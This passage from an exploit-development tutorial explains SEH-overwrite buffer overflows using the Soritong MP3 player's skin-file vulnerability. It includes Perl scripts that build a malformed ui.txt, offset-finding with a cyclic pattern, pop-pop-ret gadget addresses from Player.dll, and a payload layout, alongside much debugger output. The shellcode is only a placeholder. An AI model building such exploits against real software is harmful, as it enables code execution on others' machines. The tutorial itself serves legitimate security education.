### See SEH in action – Ollydbg

When performing a regular stack based buffer overflow, we overwrite the return
address \(EIP\) and make the application jump to our shellcode. When doing a
SEH overflow, we will continue overwriting the stack after overwriting EIP, so
we can overwrite the default exception handler as well. How this will allow us
to exploit a vulnerability, will become clear soon.

Let’s use a vulnerability in Soritong MP3 player 1.0, made public on july 20th
2009.

You can download a local copy of the Soritong MP3 player here :

> <img src='img/Temp2_2964.png' /> **Soritong MP3 Player** \(1.7 MiB, 37
> downloads\)
The vulnerability points out that an invalid skin file can trigger the
overflow. We’ll use the following basic perl script to create a file called
UI.txt in the skin\default folder :

[code]

    $uitxt = "ui.txt";
    
    my $junk = "A" x 5000 ; 
    
    open(myfile,">$uitxt") ;
    print myfile $junk;
    
[/code]

Now open soritong. The application dies silently \(probably because of the
exception handler that has kicked in, and has not been able to find a working
SEH address \(because we have overwritten the address\).

FIrst, we’ll work with Ollydbg to clearly show you the stack and SEH chain .
Open Ollydbg and open the soritong.exe executable. Press the “play” button to
run the application. Shortly after, the application dies and stops at this
screen :

<img src='img/Temp2_2962.png' width='613' height='390' alt='image' />

The application has died at 0×0042E33. At that point, the stack sits at
0×0012DA14. At the bottom of the stack \(at 0012DA6C\), we see FFFFFFFF, which
indicates the end of the SEH chain. Directly below 0×0012DA14, we see
7E41882A, which is the address of the default SE handler for the application.
This address sits in the address space of user32.dll.

<img src='img/Temp2_2976.png' width='421' height='286' alt='image' />

A couple of addresses higher on the stack, we can see some other exception
handlers, but all of them also belong to the OS \(ntdll in this case\). So it
looks like this application \(or at least the function that was called and
caused the exception\) does not have its own exception handler routine.

<img src='img/Temp2_2961.png' width='442' height='187' alt='image' />

When we look at the threads \(View – Threads\) select the first thread \(which
refers to the start of the application\), right click and choose ‘dump thread
data block’, we can see the Pointer to the SEH chain :

<img src='img/Temp2_2969.png' width='392' height='55' alt='image' />

<img src='img/Temp2_2968.png' width='356' height='251' alt='image' />

So the exception handler worked. We caused an exception \(by building a
malformed ui.txt file\). The application jumped to the SEH chain \(at
0×0012DF64\).

Go to “View” and open “SEH chain”

<img src='img/Temp2_2960.png' width='193' height='156' alt='image' />

The SE handler address points to the location where the code sits that needs
to be run in order to deal with the exception.

<img src='img/Temp2_2974.png' width='229' height='74' alt='image' />

The SE handler has been overwritten with 4 A’s. Now it becomes interesting.
When the exception is handled, EIP will be overwritten with the address in the
SE Handler. Since we can control the value in the handler, we can have it
execute our own code.

### See SEH in action – Windbg

When we now do the same in windbg, this is what we see :

Close Ollydbg, open windbg and open the soritong.exe file.

<img src='img/Temp2_2953.png' width='186' height='98' alt='image' />

The debugger first breaks \(it puts a breakpoint before executing the file\).
Type command g \(go\) and press return. This will launch the application.
\(Alternatively, press F5\)

<img src='img/Temp2_2972.png' width='453' height='393' alt='image' />

Soritong mp3 player launches, and dies shortly after. Windbg has catched the
“first change exception”. This means that windbg has noticed that there was an
exception, and even before the exception could be handled by the application,
windbg has stopped the application flow :

<img src='img/Temp2_2955.png' width='454' height='263' alt='image' />

The message states “This exception may be expected and handled”.

Look at the stack :

[code]

    00422e33 8810            mov     byte ptr [eax],dl          ds:0023:00130000=41
    0:000> d esp
    0012da14  3c eb aa 00 00 00 00 00-00 00 00 00 00 00 00 00  <...............
    0012da24  94 da 12 00 00 00 00 00-e0 a9 15 00 00 00 00 00  ................
    0012da34  00 00 00 00 00 00 00 00-00 00 00 00 94 88 94 7c  ...............|
    0012da44  67 28 91 7c 00 eb 12 00-00 00 00 00 01 a0 f8 00  g(.|............
    0012da54  01 00 00 00 24 da 12 00-71 b8 94 7c d4 ed 12 00  ....$...q..|....
    0012da64  8f 04 44 7e 30 88 41 7e-**ff ff ff ff** 2a 88 41 7e  ..D~0.A~....*.A~
    0012da74  7b 92 42 7e af 41 00 00-b8 da 12 00 d8 00 0b 5d  {.B~.A.........]
    0012da84  94 da 12 00 bf fe ff ff-b8 f0 12 00 b8 a5 15 00  ................
    
[/code]

ffffffff here indicates the end of the SEH chain. When we run \!analyze -v, we
get this :

[code]

    FAULTING_IP:
    SoriTong!TmC13_5+3ea3
    00422e33 8810            mov     byte ptr [eax],dl
    
    EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
    ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 00000001
       Parameter[1]: 00130000
    Attempt to write to address 00130000
    
    FAULTING_THREAD:  00000a4c
    
    PROCESS_NAME:  SoriTong.exe
    
    ADDITIONAL_DEBUG_TEXT:
    Use '!findthebuild' command to search for the target build information.
    If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.
    
    FAULTING_MODULE: 7c900000 ntdll
    
    DEBUG_FLR_IMAGE_TIMESTAMP:  37dee000
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
    
    EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  00130000
    
    WRITE_ADDRESS:  00130000 
    
    FOLLOWUP_IP:
    SoriTong!TmC13_5+3ea3
    00422e33 8810            mov     byte ptr [eax],dl
    
    BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS
    
    PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE
    
    DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE
    
    IP_MODULE_UNLOADED:
    ud+41414140
    41414141 ??              ???
    
    LAST_CONTROL_TRANSFER:  from 41414141 to 00422e33
    
    STACK_TEXT:
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
    0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
    0012fd40 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
    0012fd44 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
    0012fd48 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
    0012fd4c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
    0012fd50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
    0012fd54 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
    
     . . . (removed some of the lines)
    
    0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
    0012ffbc 
    
    SYMBOL_STACK_INDEX:  0
    
    SYMBOL_NAME:  SoriTong!TmC13_5+3ea3
    
    FOLLOWUP_NAME:  MachineOwner
    
    MODULE_NAME: SoriTong
    
    IMAGE_NAME:  SoriTong.exe
    
    STACK_COMMAND:  ~0s ; kb
    
    BUCKET_ID:  WRONG_SYMBOLS
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5
    
    Followup: MachineOwner
    
[/code]

The exception record points at ffffffff, which means that the application did
not use an exception handler for this overflow \(and the “last resort” handler
was used, which is provided for by the OS\).

When you dump the TEB after the exception occurred, you see this :

[code]

    0:000> d fs:[0]
    003b:00000000  **64 fd 12 00** 00 00 13 00-00 c0 12 00 00 00 00 00 d...............
    003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
    003b:00000020  00 0f 00 00 30 0b 00 00-00 00 00 00 08 2a 14 00 ....0........*..
    003b:00000030  00 b0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000040  38 43 a4 e2 00 00 00 00-00 00 00 00 00 00 00 00 8C..............
    003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    
[/code]

=> pointer to the SEH chain, at 0×0012FD64.

That area now contains A’s

[code]

    0:000> d 0012fd64
    0012fd64  **41 41 41 41** 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0012fd74  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0012fd84  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0012fd94  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0012fda4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0012fdb4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0012fdc4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0012fdd4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    
[/code]

The exception chain says :

[code]

    0:000> !exchain
    0012fd64: <Unloaded_ud.drv>+41414140 (**41414141**)
    Invalid exception stack at 41414141
    
[/code]

=> so we have overwritten the exception handler. Now let the appliation catch
the exception \(simply type ‘g’ again in windbg, or press F5\) and let’ see
what happens :

<img src='img/Temp2_2973.png' width='526' height='103' alt='image' />

eip now points to 41414141, so we can control EIP.

The exchain now reports

[code]

    0:000> !exchain
    0012d658: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)
    0012fd64: <Unloaded_ud.drv>+41414140 (41414141)
    Invalid exception stack at 41414141
    
[/code]

Microsoft has released a windbg extension called \!exploitable. Download the
package, and put the dll file in the windbg program folder, inside the winext
subfolder.

<img src='img/Temp2_2959.png' width='291' height='120' alt='image' />

This module will help determining if a given application crash/exception/acces
violation would be exploitable or not. \(So this is not limited to SEH based
exploits\)

When applying this module on the Soritong MP3 player, right after the first
exception occurs, we see this :

[code]

    (588.58c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017f504 edi=0012fd64
    eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    *** WARNING: Unable to verify checksum for SoriTong.exe
    *** ERROR: Symbol file could not be found.  Defaulted to export symbols for SoriTong.exe -
    SoriTong!TmC13_5+0x3ea3:
    00422e33 8810            mov     byte ptr [eax],dl          ds:0023:00130000=41
    
    0:000> **!load winext/msec.dll**
    0:000> **!exploitable**
    Exploitability Classification: EXPLOITABLE
    Recommended Bug Title: Exploitable - User Mode Write AV starting at SoriTong!TmC13_5+0x0000000000003ea3 (Hash=0x46305909.0x7f354a3d)
    
    User mode write access violations that are not near NULL are exploitable.
    
[/code]

After passing the exception to the application \(and windbg catching the
exception\), we see this :

[code]

    0:000> g
    (588.58c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000
    eip=41414141 esp=0012d644 ebp=0012d664 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    <Unloaded_ud.drv>+0x41414140:
    41414141 ??              ???
    0:000> **!exploitable**
    Exploitability Classification: EXPLOITABLE
    Recommended Bug Title: Exploitable - Read Access Violation at the Instruction Pointer starting at <Unloaded_ud.drv>+0x0000000041414140 (Hash=0x4d435a4a.0x3e61660a)
    
    Access violations at the instruction pointer are exploitable if not near NULL.
    
[/code]

Great module, nice work Microsoft :-\)

### Can I use the shellcode found in the registers to jump to ?

Yes and no. Before Windows XP SP1, you could jump directly to these registers
in order to execute the shellcode. But from SP1 and up, a protection mechanism
has been plut in place to protect things like that from happening. Before the
exception handler takes control, all registers are XOred with each other, so
they all point to 0×00000000

That way, when SEH kicks in, the registers are useless.

### Advantages of SEH Based Exploits over RET \(direct EIP\) overwrite stack
overflows

In a typical RET overflow, you overwrite EIP and make it jump to your
shellcode.

This technique works well, but may cause stability issues \(if you cannot find
a jmp instruction in a dll, or if you need to hardcode addresses\), and it may
also suffer from buffer size problems, limiting the amount of space available
to host your shellcode.

It’s often worth while, every time you have discovered a stack based overflow
and found that you can overwrite EIP, to try to write further down the stack
to try to hit the SEH chain. “Writing further down” means that you will likely
end up with more available buffer space; and since you would be overwriting
EIP at the same time \(with garbage\), an exception would be triggered
automatically, converting the ‘classic’ exploit into a SEH exploit.

### Then how can we exploit SEH based vulnerabilities ?

Easy. In SEH based exploits, your junk payload will first overwrite the next
SEH pointer address, then the SE Handler. Next, put your shellcode.

When the exception occurs, the application will go to the SE Handler. So you
need to put something in the SE Handler so it would go to your shellcode. This
is done by faking a second exception, so the application goes to the next SEH
pointer.

Since the next SEH pointer sits before the SE Handler, you can already
overwritten the next SEH. The shellcode sits after the SE Handler. If you put
one and one together, you can trick SE Handler to run pop pop ret, which will
put the address to next SEH in EIP, and that will execute the code in next
SEH. \(So instead of putting an address in next SEH, you put some code in next
SEH\). All this code needs to do is jump over the next couple of bytes \(where
SE Handler is stored\) and your shellcode will be executed

[code]

    1st exception occurs :
     |
     --------------------------- (1)
                                |
                         -------+-------------- (3) opcode in next SEH : jump over SE Handler to the shellcode
                         |      |             |
                         |      V             V
    [ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
                    opcode to   do                 (3) Shellcode gets executed
                    jump over   pop pop ret
                    SE Handler   |
                    ^            |
                    |            |
                    -------------- (2) will ‘pretend’ there’s a second exception, puts address of next SEH location in EIP, so opcode gets executed
    
[/code]

Of course, the shellcode may not be right after overwriting SE Handler… or
there may be some additional garbage at the first couple of bytes… It’s
important to verify that you can locate the shellcode and that you can
properly jump to the shellcode.

### How can you find the shellcode with SEH based exploits ?

First, find the offset to next SEH and SEH, overwrite SEH with a pop pop ret,
and put breakpoints in next SEH. This will make the application break when the
exception occurs, and then you can look for the shellcode. See the sections
below on how to do this.

### Building the exploit – Find the “next SEH” and “SE Handler” offsets

We need to find the offset to a couple of things

  * to the place where we will overwrite the next SEH \(with jump to shellcode\)
  * to the place where we will overwrite the current SE Handler \(should be right after the “next SEH” \(we need to overwrite this something that will trigger a fake exception\)
  * to the shellcode

A simple way to do this is by filling the payload with an unique pattern
\(metasploit rulez again\), and then looking for these 3 locations

[code]

    my $junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac".
    "6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A".
    "f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
    "Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak".
    "6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A".
    "n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
    "Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As".
    "6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A".
    "v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9".
    "Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba".
    "6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B".
    "d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9".
    "Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi".
    "6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B".
    "l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9".
    "Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq".
    "6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B".
    "t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9".
    "Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By".
    "6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C".
    "b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9".
    "Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg".
    "6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C".
    "j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9".
    "Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co";
    
    open (myfile,">ui.txt");
    print myfile $junk;
    
[/code]

Create the ui.txt file.

Open windbg, open the soritong.exe executable. It will start paused, so launch
it. The debugger will catch the first chance exception. Don’t let it run
further allowing the applicaiton to catch the exception, as it would change
the entire stack layout. Just keep the debugger paused and look at the seh
chain :

[code]

    0:000> !exchain
    0012fd64: <Unloaded_ud.drv>+41367440 (41367441)
    Invalid exception stack at 35744134
    
[/code]

The SEH handler was overwritten with 41367441.

Reverse 41367441 \(little endian\) => 41 74 36 41, which is hex for At6A
\(http://www.dolcevie.com/js/converter.html\). This corresponds with offset
588. This has learned us 2 things :

\- The SE Handler is overwritten after 588 bytes

\- The Pointer to the next SEH is overwritten after 588-4 bytes = 584 bytes.
This location is 0×0012fd64 \(as shown at the \!exchain output\)

We know that our shellcode sits right after overwriting the SE Handler. So the
shellcode must be placed at 0012fd64+4bytes+4bytes

\[Junk\]\[next SEH\]\[SEH\]\[Shellcode\]

\(next SEH is placed at 0×0012fd64\)

Goal : The exploit triggers an exception, goes to SEH, which will trigger
another exception \(pop pop ret\). This will make the flow jump back to next
SEH. So all we need to tell “next SEH” is “jump over the next couple of bytes
and you’ll end up in the shellcode”. 6 bytes \(or more, if you start the
shellcode with a bunch of NOPs\) will do just fine.

The opcode for a short jump is eb, followed by the jump distance. In other
words, a short jump of 6 bytes corresponds with opcode eb 06. We need to fill
4 bytes, so we must add 2 NOP’s to fill the 4 byte space. So the next SEH
field must be overwritten with 0xeb,0×06,0×90,0×90

### How exactly does the pop pop ret function when working with SEH based
exploits?

When an exception occurs, the exception dispatcher creates its own stack
frame. It will push elements from the EH Handler on to the newly created stack
\(as part of a function prologue\). One of the fields in the EH Structure is
the EstablisherFrame. This field points to the address of the exception
registration record \(the next SEH\) that was pushed onto the program stack.
This same address is also located at ESP+8 when the handler is called. Now if
we overwrite the handler with the address of a pop pop ret sequence :

  * the first pop will take off 4 bytes from the stack
  * the second pop will take another 4 bytes from the stack
  * the ret will take the current value from the top of ESP \( = the address of the next SEH, which was at ESP+8, but because of the 2 pop’s now sits at the top of the stack\) and puts that in EIP.

We have overwritten the next SEH with some basic jumpcode \(instead of an
address\), so the code gets executed.

In fact, the next SEH field can be considered as the first part of our
shellcode.

### Building the exploit – putting all pieces together

After having found the important offsets, only need the the address of a “fake
exception” \(pop pop ret\) before we can build the exploit.

When launching Soritong MP3 player in windbg, we can see the list of loaded
modules :

[code]

    ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
    ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft...d4ce83\comctl32.dll
    ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
    ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
    ModLoad: 72d20000 72d29000   C:\WINDOWS\system32\wdmaud.drv
    ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
    ModLoad: 76c30000 76c5e000   C:\WINDOWS\system32\WINTRUST.dll
    ModLoad: 77a80000 77b15000   C:\WINDOWS\system32\CRYPT32.dll
    ModLoad: 77b20000 77b32000   C:\WINDOWS\system32\MSASN1.dll
    ModLoad: 76c90000 76cb8000   C:\WINDOWS\system32\IMAGEHLP.dll
    ModLoad: 72d20000 72d29000   C:\WINDOWS\system32\wdmaud.drv
    ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
    ModLoad: 72d10000 72d18000   C:\WINDOWS\system32\msacm32.drv
    ModLoad: 77be0000 77bf5000   C:\WINDOWS\system32\MSACM32.dll
    ModLoad: 77bd0000 77bd7000   C:\WINDOWS\system32\midimap.dll
    **ModLoad: 10000000 10094000   C:\Program Files\SoriTong\Player.dll**
    ModLoad: 42100000 42129000   C:\WINDOWS\system32\wmaudsdk.dll
    ModLoad: 00f10000 00f5f000   C:\WINDOWS\system32\DRMClien.DLL
    ModLoad: 5bc60000 5bca0000   C:\WINDOWS\system32\strmdll.dll
    ModLoad: 71ad0000 71ad9000   C:\WINDOWS\system32\WSOCK32.dll
    ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
    ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
    ModLoad: 76eb0000 76edf000   C:\WINDOWS\system32\TAPI32.dll
    ModLoad: 76e80000 76e8e000   C:\WINDOWS\system32\rtutils.dll
    
[/code]

We are specifially interested in application specific dll’s, so let’s find a
pop pop ret in that dll. Using findjmp.exe, we can look into that dll and look
for pop pop ret sequences \(e.g. look for pop edi\)

Any of the following addresses should do, as long as it does not contain null
bytes

[code]

    C:\Program Files\SoriTong>c:\findjmp\findjmp.exe Player.dll edi | grep pop | grep -v "000"
    0x100104F8      pop edi - pop - retbis
    0x100106FB      pop edi - pop - ret
    0x1001074F      pop edi - pop - retbis
    0x10010CAB      pop edi - pop - ret
    0x100116FD      pop edi - pop - ret
    0x1001263D      pop edi - pop - ret
    0x100127F8      pop edi - pop - ret
    0x1001281F      pop edi - pop - ret
    0x10012984      pop edi - pop - ret
    0x10012DDD      pop edi - pop - ret
    0x10012E17      pop edi - pop - ret
    0x10012E5E      pop edi - pop - ret
    0x10012E70      pop edi - pop - ret
    0x10012F56      pop edi - pop - ret
    0x100133B2      pop edi - pop - ret
    0x10013878      pop edi - pop - ret
    0x100138F7      pop edi - pop - ret
    0x10014448      pop edi - pop - ret
    0x10014475      pop edi - pop - ret
    0x10014499      pop edi - pop - ret
    0x100144BF      pop edi - pop - ret
    0x10016D8C      pop edi - pop - ret
    0x100173BB      pop edi - pop - ret
    0x100173C2      pop edi - pop - ret
    0x100173C9      pop edi - pop - ret
    0x1001824C      pop edi - pop - ret
    0x10018290      pop edi - pop - ret
    0x1001829B      pop edi - pop - ret
    0x10018DE8      pop edi - pop - ret
    0x10018FE7      pop edi - pop - ret
    0x10019267      pop edi - pop - ret
    0x100192EE      pop edi - pop - ret
    0x1001930F      pop edi - pop - ret
    0x100193BD      pop edi - pop - ret
    0x100193C8      pop edi - pop - ret
    0x100193FF      pop edi - pop - ret
    0x1001941F      pop edi - pop - ret
    0x1001947D      pop edi - pop - ret
    0x100194CD      pop edi - pop - ret
    0x100194D2      pop edi - pop - ret
    0x1001B7E9      pop edi - pop - ret
    0x1001B883      pop edi - pop - ret
    0x1001BDBA      pop edi - pop - ret
    0x1001BDDC      pop edi - pop - ret
    0x1001BE3C      pop edi - pop - ret
    0x1001D86D      pop edi - pop - ret
    0x1001D8F5      pop edi - pop - ret
    0x1001E0C7      pop edi - pop - ret
    0x1001E812      pop edi - pop - ret
    
[/code]

Let’s say we will use 0×1008de8, which corresponds with

[code]

    0:000> u 10018de8
    Player!Player_Action+0x9528:
    10018de8 5f              pop     edi
    10018de9 5e              pop     esi
    10018dea c3              ret
    
[/code]

\(You should be able to use any of the addresses\)

> Note : as you can see above, findjmp requires you to specify a register. It
> may be easier to use msfpescan from Metasploit \(simply run msfpescan
> against the dll, with parameter -p \(look for pop pop ret\) and output
> everything to file. msfpescan does not require you to specify a register, it
> will simply get all combinations… Then open the file & you’ll see all
> address. Alternatively you can use memdump to dump all process memory to a
> folder, and then use msfpescan -M <folder> -p to look for all pop pop ret
> combinations from memory.
The exploit payload must look like this

[code]

    [584 characters][0xeb,0x06,0x90,0x90][0x10018de8][NOPs][Shellcode]
      junk               next SEH         current SEH
    
[/code]

In fact, most typical SEH exploits will look like this :

Buffer padding | short jump to stage 2 | pop/pop/ret address | stage 2 \(shellcode\)   
---|---|---|---  
Buffer | next SEH | SEH |   
In order to locate the shellcode \(which \*should\* be right after SEH\), you
can replace the 4 bytes at “next SEH” with breakpoints. That will allow you to
inspect the registers. An example :

[code]

    my $junk = "A" x 584;
    
    my $nextSEHoverwrite = "\xcc\xcc\xcc\xcc";  #breakpoint
    
    my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret from player.dll
    
    my $shellcode = "1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM";
    
    my $junk2   = "\x90" x 1000;
    
    open(myfile,'>ui.txt');
    
    print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;
    
[/code]

[code]

    (e1c.fbc): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e504 edi=0012fd64
    eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0         nv up ei ng nz ac pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010296
    *** WARNING: Unable to verify checksum for SoriTong.exe
    *** ERROR: Symbol file could not be found.  Defaulted to export symbols for SoriTong.exe -
    SoriTong!TmC13_5+0x3ea3:
    00422e33 8810            mov     byte ptr [eax],dl          ds:0023:00130000=41
    
[/code]

[code]

    0:000> g
    (e1c.fbc): Break instruction exception - code 80000003 (first chance)
    eax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c edi=7c9032a8
    eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    <Unloaded_ud.drv>+0x12fd63:
    0012fd64 cc              int     3
    
[/code]

So, after passing on the first exception to the application, the application
has stopped because of the breakpoints at nSEH.

EIP currently points at the first byte at nSEH, so you should be able to see
the shellcode about 8 bytes \(4 bytes for nSEH, and 4 bytes for SEH\) further
down :

[code]

    0:000> d eip
    0012fd64  cc cc cc cc 12 e8 01 10-31 41 42 43 44 45 46 47  ........1ABCDEFG
    0012fd74  48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49  HIJKLM2ABCDEFGHI
    0012fd84  4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b  JKLM3ABCDEFGHIJK
    0012fd94  4c 4d 90 90 90 90 90 90-90 90 90 90 90 90 90 90  LM..............
